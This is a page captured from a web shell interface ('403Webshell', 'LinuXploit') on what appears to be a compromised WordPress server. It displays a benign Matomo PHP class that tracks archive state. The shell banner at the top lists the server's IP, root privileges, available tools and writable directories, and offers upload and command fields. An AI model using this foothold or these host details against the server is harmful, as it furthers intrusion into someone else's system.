403Webshell
Server IP : 167.99.224.18  /  Your IP : 216.73.216.136
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux wordpress-ubuntu-s-1vcpu-1gb-nyc1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.0.25
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins-old/matomo/app/core/Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins-old/matomo/app/core/Archive/ArchiveState.php
<?php

/**
 * Matomo - free/libre analytics platform
 *
 * @link    https://matomo.org
 * @license https://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 */
declare (strict_types=1);
namespace Piwik\Archive;

use Piwik\DataAccess\ArchiveWriter;
use Piwik\DataTable;
use Piwik\Date;
use Piwik\Site;
class ArchiveState
{
    public const COMPLETE = 'complete';
    public const INCOMPLETE = 'incomplete';
    public const INVALIDATED = 'invalidated';
    /**
     * @param array{date1: string, date2: string, idsite: string, ts_archived: string} $archiveData
     * @param array<string, array<int>> $archiveIds archives ids indexed by period
     * @param array<int, array<string, array<int, int>>> $archiveStates archive states indexed by site and period
     */
    public function addMetadataToResultCollection(\Piwik\Archive\DataCollection $collection, array $archiveData, array $archiveIds, array $archiveStates) : void
    {
        $periodsEndDays = [];
        $periodsTsArchived = [];
        $archiveIdsFlipped = [];
        foreach ($archiveData as $archive) {
            $idSite = (int) $archive['idsite'];
            $period = $archive['date1'] . ',' . $archive['date2'];
            $periodsEndDays[$idSite][$period] = $archive['date2'];
            $periodsTsArchived[$idSite][$period] = $archive['ts_archived'];
        }
        foreach ($archiveIds as $period => $periodArchiveIds) {
            $archiveIdsFlipped[$period] = array_flip($periodArchiveIds);
        }
        foreach ($periodsTsArchived as $idSite => $periods) {
            $siteTimezone = Site::getTimezoneFor($idSite);
            foreach ($periods as $period => $tsArchived) {
                $periodEndDay = $periodsEndDays[$idSite][$period];
                $state = $this->checkArchiveStates($idSite, $period, $archiveIdsFlipped, $archiveStates);
                $state = $this->checkTsArchived($state, $siteTimezone, $periodEndDay, $tsArchived);
                if (null === $state) {
                    // do not set metadata, if no state was determined,
                    // to avoid generating unexpected default rows
                    continue;
                }
                $collection->addMetadata($idSite, $period, DataTable::ARCHIVE_STATE_METADATA_NAME, $state);
            }
        }
    }
    /**
     * @param array<string, array<int, bool>> $archiveIdsFlipped
     * @param array<int, array<string, array<int, int>>> $archiveStates
     */
    private function checkArchiveStates(int $idSite, string $period, array $archiveIdsFlipped, array $archiveStates) : ?string
    {
        if (!isset($archiveStates[$idSite][$period]) || !isset($archiveIdsFlipped[$period])) {
            // do not determine state if no archives were used
            return null;
        }
        $availableStates = array_intersect_key($archiveStates[$idSite][$period], $archiveIdsFlipped[$period]);
        if ([] === $availableStates) {
            // do not determine state if no archives were used
            return null;
        }
        if (in_array(ArchiveWriter::DONE_INVALIDATED, $availableStates)) {
            // archive has been invalidated
            return self::INVALIDATED;
        }
        // all archives not invalidated should be complete
        // includes DONE_OK, DONE_OK_TEMPORARY and DONE_PARTIAL
        return self::COMPLETE;
    }
    private function checkTsArchived(?string $state, string $siteTimezone, string $periodEndDay, string $tsArchived) : ?string
    {
        if (self::COMPLETE !== $state) {
            // only archives detected as complete can be archived before range end
            return $state;
        }
        $datePeriodEnd = Date::factory($periodEndDay . ' 23:59:59')->setTimezone($siteTimezone);
        $dateArchived = Date::factory($tsArchived);
        if (!$datePeriodEnd->isEarlier($dateArchived)) {
            return self::INCOMPLETE;
        }
        return $state;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit